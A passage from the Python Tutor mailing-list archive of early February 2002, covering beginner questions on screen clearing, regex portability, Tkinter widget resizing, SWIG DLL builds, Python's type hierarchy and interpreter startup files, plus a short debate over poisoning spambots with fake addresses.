Does anyone know what Pythonwin's behavior is when running scripts ---
does it add that script's path to sys.path?  This is starting to feel like
that silly IDLE "Run Script" issue from last month.



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  1 06:56:12 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 31 Jan 2002 22:56:12 -0800 (PST)
Subject: [Tutor] help            [clearing the screen]
In-Reply-To: <20020131173722.55333.qmail@web13908.mail.yahoo.com>
Message-ID: <Pine.LNX.4.21.0201312248040.23038-100000@hkn.eecs.berkeley.edu>

Hi James,

[Administrative comment: your message was delayed for a few hours because
the Subject line of the email just contained the word "help".  This
actually triggers the Mailman mailing list software to hold the message
because it thinks it might be an administrative question.

In short: use a more descriptive subject.  *grin* Sorry for the
inconvenience.]



> I have made a program that will prints out some
> options
> 1. to view the list
> 2. to add to the list
> 3. to delete from the list
> 4. to quit
> and after you select what you want to do, and do it
> then the program brings the menu up again and asks you
> what you want to do, but the prompt soon gets
> cluttered with all of the stuff inside it, is there a
> way to clear it before it displays the menu again? 

Hmmm... how about something like this?

###
def clearScreen():
    for i in range(80): print
###


I'm not sure if there's a platform-independent way of clearing a screen.  
I did a quick check on google, and it looks like this might be useful:

    http://effbot.org/efflib/console

Good luck to you.



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  1 06:58:21 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 31 Jan 2002 22:58:21 -0800 (PST)
Subject: [Tutor] Spurious primes
In-Reply-To: <Pine.LNX.4.21.0201300251460.2656-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0201312257340.23038-100000@hkn.eecs.berkeley.edu>

Hi Sarney,

Just doing a follow up; have you been able to find the bug in the
prime-finding program yet?



From wesc@deirdre.org  Fri Feb  1 06:36:57 2002
From: wesc@deirdre.org (Wesley Chun)
Date: Thu, 31 Jan 2002 22:36:57 -0800 (PST)
Subject: [Tutor] looking for source code
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C326@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <Pine.LNX.4.31.0201312233260.27260-100000@emperor.deirdre.org>

On Thu, 31 Jan 2002 alan.gauld@bt.com wrote:

> > where can i find the source code for map(), filter() , reduce()
> > ,property(),staticmethod() etc?
>
> > have these constructs been implemented in C ? so am not able
> > to find one?
>
> Yes, they are in C. As are many of the other modules, like sys...


karthik,

as kalle and alan have pointed out, yes, these are done in C.
you can read through them very easily too.  if you download the
source code tar ball, just look in the Python/bltinmodule.c file.
have fun!

-wesley

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"Core Python Programming", Prentice Hall PTR, =A9 2001
    http://starship.python.net/crew/wesc/cpp/

    wesley.j.chun :: wesc@deirdre.org
    cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com
    http://www.roadkill.com/~wesc/cyberweb/




From printers@sendme.cz  Fri Feb  1 13:47:58 2002
From: printers@sendme.cz (A)
Date: Fri, 1 Feb 2002 14:47:58 +0100
Subject: [Tutor] Why it does NOT work on Linux ?
Message-ID: <3C5AAA9E.18034.11AB3F0@localhost>

I have the following part of program that finds ItemID numbers.
Here, for example, are two
146759 and 146700 .
This program works well under windows but on Linux it does not 
find any number. Can you please help?
Thanks.
Ladislav

####################
import re
Text="""<tr BGCOLOR="#FFFFFF">
                      <td valign="top" align="left"><a 
href="lead.asp?ItemID=146759">[CN] Oak, Foiled &amp; Antique 
Furniture</a></td>
                      <td valign="top" align="center">18/12/2001</td>
                    </tr><tr BGCOLOR="#FFFFFF">
                    <td valign="top" align="left"><a 
href="lead.asp?ItemID=146700">[CN] Oak, Foiled &amp; Antique 
Furniture</a></td>
                      <td valign="top" align="center">18/12/2001</td>
                    </tr>"""

IDs=re.compile('.*<a href="lead.asp\?ItemID=(\d{5,10}).*')
Results=re.findall(IDs,Text)
print Results

##############
t


From cmccormick@thestate.com  Fri Feb  1 15:34:01 2002
From: cmccormick@thestate.com (Chris McCormick)
Date: Fri, 01 Feb 2002 10:34:01 -0500
Subject: [Tutor] ** Newbie **  LARGE lists versus databases - what's faster?
Message-ID: <EDZUHF95NJNRMN07648609WQSRNOJ.3c5ab569@cmccormickl>

Hello all, and thanks for listening to a newbie.

I've been working with pyGame for about a week, and am getting into some small proof-of-concept programs for CRPG game ideas that I have.

One idea is that of NPC "gossip".  It would consist of a system by which NPC's could have access to knowledge about the world, and share it with each other and the player character as well.  This would make for 
a much more realistic gaming experience if done right.

Problem is, I'm very new to algorithm/data structure design, and pretty new to Python as well.  So, I'm not sure what's the best way to go about this.  I imagine that (to start off with) I'll have a list of "subject tokens," 
which would contain the names of all the NPC's, the player, towns, inns, monsters, etc.  This would go in position 1:

The --------- 

Then, I'd have a list of modifiers, like "hungry," "dangerous," "at war," etc., which could be applied to the subjects, according to some set of rules.  So, you could have a subject token of "The town of 
Windermere," with a modifier token of "is starving,", and then put them together for the sentence "The town of Windermere is starving."  The resulting sentence would be stored in a third data structure.  Then, 
NPC's would have access to it.  The NPC's in Windermere would automatically have access to the data, and they might give access to other NPC's they meet.  So, the "gossip" would spread, and eventually the 
player might hear about it, and set off to Windermere to help.

With me so far?  So, in a very basic implementation of this, I have something like:

1.  A list of subjects
2.  A list of modifications/verbs
3.  A list for the resulting "gossip" strings.

And of course rules and code for generating/transferring/pruning the gossip items.

My question (thanks for reading so much, by the way) is this:

What kind of data structures should I put these things in?  I'm new enough to python that I haven't learned about things like pickles(?) and shelves(?), so I don't know if there are advanced data structures out there 
that might be well suited to large, lookup-able, constantly changing sets of information.  I also don't know if this would be best stored (i.e., with the most speed) in a list, a text file, a database (say, MySQL), or what.

Any ideas where I should start?  Good redaing material?  Similar projects?

Thanks in advance,
Chris McCormick




From m_konermann@gmx.de  Fri Feb  1 15:45:27 2002
From: m_konermann@gmx.de (Keule)
Date: Fri, 01 Feb 2002 16:45:27 +0100
Subject: [Tutor] Compiling problem using SWIG to create a dll under windows
Message-ID: <3C5AB817.3040307@gmx.de>

--------------090205090309040109020501
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi @ ALL !

I think i solved my first problem creating a .dll with Visual C++, 
because first i choosed only the option "win32 dynamic link library" and 
not the "MFC AppWizard". The AppWizard also creates a .def file where 
are informations about the Exports from the new .dll file.
But now, after compiling the the whole code, using the AppWizard, the 
following Error occurs:

Kompilierung läuft...
simanneal.cpp
c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal.cpp(496) 
: fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der 
Direktive fuer die vorkompilierte Header-Datei
simanneal_wrap.cpp
c:\arbeit_diplomarbeit\__optimierer\testlauf\bla 
bla\simanneal_wrap.cpp(34) : warning C4005: 'SWIGEXPORT' : 
Makro-Neudefinition
        c:\arbeit_diplomarbeit\__optimierer\testlauf\bla 
bla\simanneal_wrap.cpp(32) : Siehe vorherige Definition von 'SWIGEXPORT'
....
Generieren von Code...
Fehler beim Ausführen von cl.exe.

bla bla.dll - 7 Fehler, 4 Warnung(en)


Perhaps, i have to write additional information in the .def file of the 
functions, i want to be exported from the new .dll
Have anyone had this kind of problem ?

Greetings
Marcus


--------------090205090309040109020501
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi @ ALL !<br>
<br>
I think i solved my first problem creating a .dll with Visual C++, because
first i choosed only the option "win32 dynamic link library" and not the
"MFC AppWizard". The AppWizard also creates a .def file where are informations
about the Exports from the new .dll file.<br>
But now, after compiling the the whole code, using the AppWizard, the following
Error occurs:<br>
<br>
<i>Kompilierung l&auml;uft...<br>
simanneal.cpp<br>
<a class="moz-txt-link-freetext" href="c:\arbeit_diplomarbeit\__optimierer\testlauf\bla">c:\arbeit_diplomarbeit\__optimierer\testlauf\bla</a> bla\simanneal.cpp(496) :
fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive
fuer die vorkompilierte Header-Datei<br>
simanneal_wrap.cpp<br>
<a class="moz-txt-link-freetext" href="c:\arbeit_diplomarbeit\__optimierer\testlauf\bla">c:\arbeit_diplomarbeit\__optimierer\testlauf\bla</a> bla\simanneal_wrap.cpp(34)
: warning C4005: 'SWIGEXPORT' : Makro-Neudefinition<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-freetext" href="c:\arbeit_diplomarbeit\__optimierer\testlauf\bla">c:\arbeit_diplomarbeit\__optimierer\testlauf\bla</a> bla\simanneal_wrap.cpp(32)
: Siehe vorherige Definition von 'SWIGEXPORT'<br>
....<br>
Generieren von Code...<br>
Fehler beim Ausf&uuml;hren von cl.exe.<br>
<br>
bla bla.dll - 7 Fehler, 4 Warnung(en)</i><br>
<br>
<br>
Perhaps, i have to write additional information in the .def file of the functions,
i want to be exported from the new .dll <br>
Have anyone had this kind of problem ?<br>
<br>
Greetings<br>
Marcus<br>
<br>
</body>
</html>

--------------090205090309040109020501--



From csmith@blakeschool.org  Fri Feb  1 16:29:50 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 01 Feb 2002 10:29:50 -0600
Subject: [Tutor] a bug?
Message-ID: <fc.004c4b6b008b5ead004c4b6b008b5ead.8b5eb8@blakeschool.org>

Would you consider the type returned by the 3rd line below to be an error?
 If so, how do I report it?  I am running Python on a Mac.

>>> type(id)
<type 'builtin_function_or_method'>
>>> type(len)
<type 'builtin_function_or_method'>
>>> type(type)
<type 'type'>


/c



From lsloan@umich.edu  Fri Feb  1 17:22:32 2002
From: lsloan@umich.edu (Lance E Sloan)
Date: Fri, 01 Feb 2002 12:22:32 -0500
Subject: [Tutor] resizing Tkinter widgets
Message-ID: <200202011722.MAA17877@robotron.gpcc.itd.umich.edu>

It's been a while since I've posted to this list, but I've been
lurking and reading.  I've got a Tkinter question and if it would
be better addressed to some other mailing list, like a Tkinter
one, please let me know.

I'm new to Tkinter and GUI programming in general.  I'm having
trouble figuring out how to make my Listbox and Scrollbar widgets
grow and shrink when the Tk window is resized.  Here's some
code that I've been monkeying with, trying to make this work:

	from Tkinter import *

	master = Tk()
	master.config(bg="green")

	frame = Frame(master, bg="blue")
	scrollbar = Scrollbar(frame, orient=VERTICAL)
	listbox = Listbox(frame, yscrollcommand=scrollbar.set, bg="red")
	scrollbar.config(command=listbox.yview)
	scrollbar.pack(side=RIGHT, fill=Y)
	listbox.pack(side=LEFT, fill=BOTH, expand=1)

	listbox.insert(END, 'abc')

	frame.pack()

	master.mainloop()

This is based on Lundh's Tkinter documentation about Listbox.  I've
added colors to the root Tk window, Frame, and Listbox so that
I could see what was growing when I resized the window.  At first,
I thought the Frame enclosing the Listbox was growing, but by adding
the colors, I can see that it's actually just the green root window
growing.

Suggestions?

--
Lance E Sloan
Web Services, Univ. of Michigan: Full-service Web and database design,
development, and hosting.  Specializing in Python & Perl CGIs.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"


From karthikg@aztec.soft.net  Fri Feb  1 18:27:13 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Fri, 1 Feb 2002 23:57:13 +0530
Subject: [Tutor] a bug?
In-Reply-To: <fc.004c4b6b008b5ead004c4b6b008b5ead.8b5eb8@blakeschool.org>
Message-ID: <NEBBJNMDEKBIBCMCNMBDEEBJDAAA.karthikg@aztec.soft.net>

>
> Would you consider the type returned by the 3rd line below to be an error?
 If so, how do I report it?  I am running Python on a Mac.
>>> type(type)
<type 'type'

>>

Quoting a mail from Alan:
....
I've been reading about metaclasses recently and came across
the following comment in an essay (by Guido?) which I thought
deserved an airing. The sad thing is that it does make sense
when you read it a few times...

" In core Python there is only one meta-type, the type ``type''
(types.TypeType), which is the type of all type objects, even
itself. "

;-)

The whole essay is at:

http://www.python.org/doc/essays/metaclasses/
.......

Hope that answers your question.

karthik.


From beazley@cs.uchicago.edu  Fri Feb  1 15:59:58 2002
From: beazley@cs.uchicago.edu (David Beazley)
Date: Fri, 1 Feb 2002 09:59:58 -0600 (CST)
Subject: [Tutor] [Swig] Compiling problem using SWIG to create a dll under windows
In-Reply-To: <3C5AB817.3040307@gmx.de>
References: <3C5AB817.3040307@gmx.de>
Message-ID: <15450.47998.553213.366998@gargoyle.cs.uchicago.edu>

Keule writes:
 > Hi @ ALL !
 > 
 > I think i solved my first problem creating a .dll with Visual C++, 
 > because first i choosed only the option "win32 dynamic link library" and 
 > not the "MFC AppWizard". The AppWizard also creates a .def file where 
 > are informations about the Exports from the new .dll file.
 > But now, after compiling the the whole code, using the AppWizard, the 
 > following Error occurs:
 > 

Have you tried working with any the Visual C++ project files included
in the SWIG-1.3.10 distribution?  This might also provide some help
here.

Cheers,

Dave


From csmith@bitaplus.com  Fri Feb  1 17:13:42 2002
From: csmith@bitaplus.com (C Smith)
Date: Fri, 1 Feb 2002 17:13:42 -0000
Subject: [Tutor] RE: [Swig] Compiling problem using SWIG to create a dll under win
 dows
Message-ID: <99002EB5274BD311994A00902757A245290230@TANYA>

Dear Marcus,
If you just want to create a wrapper dll, you don't need to use Visual =
C++.
Just write a makefile like this.
For PYTHON, do something like this

________________________________________________________________________=
____
______________
PVERS=3D22
PYTHON=3Dd:\python$(PVERS)
MYLIB=3Dyourlib.lib
LIBp=3Dpython$(PVERS).lib
PATH=3De:\gcc\SWIG-1.3.11;$(PATH)

wrapc.dll:	wrap.obj wrap.i=20
	link -dll  -OUT:$@ $(PYTHON)\libs\$(LIBp) $(MYLIB)  wrap.obj

.cpp.obj:
	cl -c $<  -MD -W3 -Gm -GX -Zi -I$(PYTHON)\include -I./ -DWIN32=20
.c.obj:
	cl -c $<  -MD -W3 -Gm -GX -Zi -I$(PYTHON)\include -I./ -DWIN32=20

clean:
	del *.obj

wrap.cpp:	wrap.i  something.h
	echo ########################### Using Python Version $(PVERS)
###############
	swig -version
	swig -python -shadow -c++ -module wrap -o $@ wrap.i=20
________________________________________________________________________=
____
______________


If you call the file makefile, then from the dos prompt just type

nmake

This is quite useful. If you wanted to make a wrapper for python20 you =
could
say

nmake PVERS=3D20

You don't need to to start up Visual C++ and you can add lines to copy =
the
dll to where you want it.

Cheers,

Colin
-----Original Message-----
From: Keule [mailto:m_konermann@gmx.de]
Sent: 01 February 2002 15:45
To: SWIG; Tutor
Subject: [Swig] Compiling problem using SWIG to create a dll under =
windows


Hi @ ALL !

I think i solved my first problem creating a .dll with Visual C++, =
because
first i choosed only the option "win32 dynamic link library" and not =
the
"MFC AppWizard". The AppWizard also creates a .def file where are
informations about the Exports from the new .dll file.
But now, after compiling the the whole code, using the AppWizard, the
following Error occurs:

Kompilierung l=E4uft...
simanneal.cpp
c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal.cpp(496) =
:
fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der
Direktive fuer die vorkompilierte Header-Datei
simanneal_wrap.cpp
c:\arbeit_diplomarbeit\__optimierer\testlauf\bla =
bla\simanneal_wrap.cpp(34)
: warning C4005: 'SWIGEXPORT' : Makro-Neudefinition
        c:\arbeit_diplomarbeit\__optimierer\testlauf\bla
bla\simanneal_wrap.cpp(32) : Siehe vorherige Definition von =
'SWIGEXPORT'
....
Generieren von Code...
Fehler beim Ausf=FChren von cl.exe.

bla bla.dll - 7 Fehler, 4 Warnung(en)


Perhaps, i have to write additional information in the .def file of the
functions, i want to be exported from the new .dll=20
Have anyone had this kind of problem ?

Greetings
Marcus


From scarblac@pino.selwerd.nl  Fri Feb  1 18:16:39 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Fri, 1 Feb 2002 19:16:39 +0100
Subject: [Tutor] CHORTLING OVER MY KEYBOARD
In-Reply-To: <3C58E8A8.859210E6@netzero.net>; from idiot1@netzero.net on Thu, Jan 31, 2002 at 01:48:08AM -0500
References: <3C58E8A8.859210E6@netzero.net>
Message-ID: <20020201191639.A19194@pino.selwerd.nl>

On  0, kirk Bailey <idiot1@netzero.net> wrote:
> Every last one is randomly generated, intended to poison spambots
> harvesting email addresses.

To a spammer, a spurious email address has almost zero extra cost. To the
mail servers of his provider, and the mail servers of any actually existing
domain, the cost is higher. There will be lots of bounces to already
overworked postmasters, and many addresses may actually exist.

Remember that spammers routinely spam *all* six-letter possibilities on
Hotmail.

I don't think your script is a good thing.

-- 
Remco Gerlich


From idiot1@netzero.net  Fri Feb  1 18:36:11 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Fri, 01 Feb 2002 13:36:11 -0500
Subject: [Tutor] CHORTLING OVER MY KEYBOARD
References: <3C58E8A8.859210E6@netzero.net> <20020201191639.A19194@pino.selwerd.nl>
Message-ID: <3C5AE01B.63FA746A@netzero.net>

ok. Ignoring everyone's darling (government force), what would you
propose as a reply/solution to this social problem?


Remco Gerlich wrote:
> 
> On  0, kirk Bailey <idiot1@netzero.net> wrote:
> > Every last one is randomly generated, intended to poison spambots
> > harvesting email addresses.
> 
> To a spammer, a spurious email address has almost zero extra cost. To the
> mail servers of his provider, and the mail servers of any actually existing
> domain, the cost is higher. There will be lots of bounces to already
> overworked postmasters, and many addresses may actually exist.
> 
> Remember that spammers routinely spam *all* six-letter possibilities on
> Hotmail.
> 
> I don't think your script is a good thing.
> 
> --
> Remco Gerlich
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From israel@lith.com  Fri Feb  1 18:43:15 2002
From: israel@lith.com (Israel Evans)
Date: Fri, 1 Feb 2002 10:43:15 -0800
Subject: [Tutor] CHORTLING OVER MY KEYBOARD
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B3F2E@abbott.lith.com>

Mind Control!

-----Original Message-----
From: kirk Bailey [mailto:idiot1@netzero.net]
Sent: Friday, February 01, 2002 10:36 AM
To: tutor
Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD


ok. Ignoring everyone's darling (government force), what would you
propose as a reply/solution to this social problem?


Remco Gerlich wrote:
> 
> On  0, kirk Bailey <idiot1@netzero.net> wrote:
> > Every last one is randomly generated, intended to poison spambots
> > harvesting email addresses.
> 
> To a spammer, a spurious email address has almost zero extra cost. To the
> mail servers of his provider, and the mail servers of any actually
existing
> domain, the cost is higher. There will be lots of bounces to already
> overworked postmasters, and many addresses may actually exist.
> 
> Remember that spammers routinely spam *all* six-letter possibilities on
> Hotmail.
> 
> I don't think your script is a good thing.
> 
> --
> Remco Gerlich
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From idiot1@netzero.net  Fri Feb  1 19:23:57 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Fri, 01 Feb 2002 14:23:57 -0500
Subject: [Tutor] CHORTLING OVER MY KEYBOARD
References: <AF020C5FC551DD43A4958A679EA16A15017B3F2E@abbott.lith.com>
Message-ID: <3C5AEB4D.169FB0B4@netzero.net>

Ah, gee, sorry, I misunderstood. I thought we were having a REAL
conversation here.

Israel Evans wrote:
> 
> Mind Control!
> 
> -----Original Message-----
> From: kirk Bailey [mailto:idiot1@netzero.net]
> Sent: Friday, February 01, 2002 10:36 AM
> To: tutor
> Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD
> 
> ok. Ignoring everyone's darling (government force), what would you
> propose as a reply/solution to this social problem?
> 
> Remco Gerlich wrote:
> >
> > On  0, kirk Bailey <idiot1@netzero.net> wrote:
> > > Every last one is randomly generated, intended to poison spambots
> > > harvesting email addresses.
> >
> > To a spammer, a spurious email address has almost zero extra cost. To the
> > mail servers of his provider, and the mail servers of any actually
> existing
> > domain, the cost is higher. There will be lots of bounces to already
> > overworked postmasters, and many addresses may actually exist.
> >
> > Remember that spammers routinely spam *all* six-letter possibilities on
> > Hotmail.
> >
> > I don't think your script is a good thing.
> >
> > --
> > Remco Gerlich
> >
> > _______________________________________________
> > Tutor maillist  -  Tutor@python.org
> > http://mail.python.org/mailman/listinfo/tutor
> 
> --
> 
> 
>  -Respectfully,
>               -Kirk D Bailey
>                Consulting Loose Cannon
> 
> end
> 
>   www.howlermonkey.net                 highprimate@howlermonkey.net
>   www.sacredelectron.org                         idiot1@netzero.net
>   www.tinylist.org                              grumpy@tinylist.org
> ----------------------------------------------------
> Sign Up for NetZero Platinum Today
> Only $9.95 per month!
> http://my.netzero.net/s/signup?r=platinum&refcd=PT97
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From israel@lith.com  Fri Feb  1 20:44:14 2002
From: israel@lith.com (Israel Evans)
Date: Fri, 1 Feb 2002 12:44:14 -0800
Subject: [Tutor] CHORTLING OVER MY KEYBOARD
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B3F30@abbott.lith.com>

Ouch!   :)

	Actually, seeing as I'm not the most technically knowledgeable I
can't think of a really good way to only punish/confuse the Spammers other
than by Social, Cultural and Economic Methods.  Digital Communications,
especially email, are particularly vulnerable and far from private.  The
methods of Obfuscation and Intrusion available to the Spammer, as far as I
know, are far greater in number and power than their victim's abilities and
tools.  

	The best way to solve a problem is to find the root cause, right?
Most evidence points to the fact that Spam Email is sent in order to make
people money.  The Spammer doesn't care how annoying he/she is.  They just
want to grab as many minds as possible.  Mass Mailings are an easy, cheap
and nearly consequence free option for a Spammer.  It seems to me that
Capitalism, with it's overwhelming call for everyone to live their lives in
pursuit of profit, and it's commoditization of absolutely everything, is the
Primary cause of Spam. 

	We could delve even deeper and come to realize that anytime anyone
wants something they will do whatever it is they can that fits into their
own personal ethics to achieve it regardless of monetary compensation.  It's
still a manifestation of greed, however, in that the Spammer refuses to
recognize the discomfort he/she causes everyone they mail out.  In actuality
though the Spammer may perceive their actions as fully beneficial for
everyone involved. "Who wouldn't want my product that guarantees liposuction
like results in 20 minutes without surgery."  So it becomes obvious that as
long as a tool exists and people have the inclination to abuse it, some
greedy, shortsighted soul will indeed do so.

	As far as a Pythonic way of solving this issue, or at least coming
up with a new weapon in the arsenal against the War Against Terr.. er...
Spam, I'm at a loss.  Though I can load up text files and do neat stuff with
lists!

I hope I was serious enough.  8) 


~Israel~

-----Original Message-----
From: kirk Bailey [mailto:idiot1@netzero.net] 
Sent: 01 February 2002 11:24 AM
To: tutor
Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD

Ah, gee, sorry, I misunderstood. I thought we were having a REAL
conversation here.

Israel Evans wrote:
> 
> Mind Control!
> 
> -----Original Message-----
> From: kirk Bailey [mailto:idiot1@netzero.net]
> Sent: Friday, February 01, 2002 10:36 AM
> To: tutor
> Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD
> 
> ok. Ignoring everyone's darling (government force), what would you
> propose as a reply/solution to this social problem?
> 
> Remco Gerlich wrote:
> >
> > On  0, kirk Bailey <idiot1@netzero.net> wrote:
> > > Every last one is randomly generated, intended to poison spambots
> > > harvesting email addresses.
> >
> > To a spammer, a spurious email address has almost zero extra cost. To
the
> > mail servers of his provider, and the mail servers of any actually
> existing
> > domain, the cost is higher. There will be lots of bounces to already
> > overworked postmasters, and many addresses may actually exist.
> >
> > Remember that spammers routinely spam *all* six-letter possibilities on
> > Hotmail.
> >
> > I don't think your script is a good thing.
> >
> > --
> > Remco Gerlich
> >
> > _______________________________________________
> > Tutor maillist  -  Tutor@python.org
> > http://mail.python.org/mailman/listinfo/tutor
> 
> --
> 
> 
>  -Respectfully,
>               -Kirk D Bailey
>                Consulting Loose Cannon
> 
> end
> 
>   www.howlermonkey.net                 highprimate@howlermonkey.net
>   www.sacredelectron.org                         idiot1@netzero.net
>   www.tinylist.org                              grumpy@tinylist.org
> ----------------------------------------------------
> Sign Up for NetZero Platinum Today
> Only $9.95 per month!
> http://my.netzero.net/s/signup?r=platinum&refcd=PT97
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From arcege@speakeasy.net  Fri Feb  1 21:25:48 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Fri, 1 Feb 2002 16:25:48 -0500
Subject: [Tutor] a bug?
In-Reply-To: <fc.004c4b6b008b5ead004c4b6b008b5ead.8b5eb8@blakeschool.org>; from csmith@blakeschool.org on Fri, Feb 01, 2002 at 10:29:50AM -0600
References: <fc.004c4b6b008b5ead004c4b6b008b5ead.8b5eb8@blakeschool.org>
Message-ID: <20020201162548.C1533@speakeasy.net>

On Fri, Feb 01, 2002 at 10:29:50AM -0600, Christopher Smith wrote:
> Would you consider the type returned by the 3rd line below to be an error?
>  If so, how do I report it?  I am running Python on a Mac.
> 
> >>> type(id)
> <type 'builtin_function_or_method'>
> >>> type(len)
> <type 'builtin_function_or_method'>
> >>> type(type)
> <type 'type'>

Assuming you mean a bug in Python 2.2, then nope.

You could have a callable object, which is exactly what this is.  It is
equivalent to:

class type:
  ...
  def __call__(self, obj):
    """This would be interpreted internally in C as getting the "ob_type"
       object in the PyObject structure.
    return __c_builtin_retrieve_type_object(obj)
  ...
import __builtin__
__builtin__.type = type()

Then at this point, we could call type(1) and get the internal data type
of the object.

Since in Python 2.2, there is the unification of C types and classes,
you can now make a subclass of a type.  Notice:

>>> class A:
...   pass
...
>>> type(A)
<type 'class'>
>>> type(type(A))
<type 'type'>
>>> # we'll try to make <type 'type'> a called object, passing the class
>>> type(type(A)) (A)
<type 'class'>

So if we looked at type(type), we'd get <type 'type'>.

It sounds like circular logic.  But really "type" is the top of a tree
that includes "class", "integer", "string", "instance" and "object"
(which is also in the __builtin__ module).  In computer science, the
parent of the top is often the top itself (i.e.  one way to get to the
top of a tree is 'while node.parent is not node: node = node.parent').

>>> type is type(type)
1

This is exactly what's happening here.  Hope this helps.

  -Arcege

PS: If it was a defect, then you probably would want to go to the
"SourceForge bug tracker" page for Python:
<URL:http://sourceforge.net/bugs/?group_id=5470>



From csmith@blakeschool.org  Fri Feb  1 22:26:47 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 01 Feb 2002 16:26:47 -0600
Subject: [Tutor] sitecustomize and pythonstartup
In-Reply-To: <E16RcNx-00030z-00@mail.python.org>
References: <E16RcNx-00030z-00@mail.python.org>
Message-ID: <fc.004c4b6b008b76f83b9aca000e125da4.8b772c@blakeschool.org>

I've been trying to learn what behaviors can be automated at start up and
have come up with the following which might be useful for others. 
Corrections are welcome.  It also raises a question that I ask below.

---

_____
A script can 

	import user

which will run the script ".pythonrc.py" if it exists in the same
directory as the script.  Objects in .pythonrc.py (imported modules,
function definitions, or variables) are accessible to the calling script
by using the "user." prefix.  For example, if math has been loaded in
.pythonrc.py, the main program can access math.pi as user.math.pi  {see
user.py}

_____
The Python IDE will attempt to load a file named sitecustomize.pyc if it
exists on the paths defined by sys.path.  No objects therein (modules,
functions, variables) are accessible to the IDE interactive console or
scripts, but changes to variables like sys.path can be made. If there is
any printing done in the file, this will create a window titled "Python
IDE.out" which can be moved and resized but not closed.  {see site.py and
the file sitecustomize.py}

_____
The Python Interpreter will attempt to run the sitecustomize.pyc script if
it exists on the paths defined by sys.path.  No objects therein (modules,
functions, variables) are accessible to the IDE interactive console or
scripts.

The Interpreter will also attempt to import and run the contents of a file
named PythonStartup if it exists on in the same directory as the
interpreter.  Objects in PythonStartup are then accessible directly to the
interpreter (e.g. if "import math" appears in PythonStartup then typing
"math.pi" in the interpreter will yield the value of pi).  Commands like
"from __future__ import division" will not affect the Interpreter,
however, and must be reimported there.  If PythonStartup imports a module
A which in turn imports a module B, B's namespace must be accessed as
A.B.name. {see section "Interactive startup file" in the using.html file
in the Mac:Demo folder.




-------

OK, the question is this.  The interpreter can be educated as to what
modules are loaded (i.e. if pythonstartup imports math, you can type
math.pi in the interpreter and be understood).  Is there a way to get this
to happen in the IDE's interpreter as well?  If sitecustomize.py imports
math I can't seem to access that at the >>> prompt.

Also, is there a way to get "from __future__ import division" to be the
default behavior in the interpreter?  This statement in the startup file
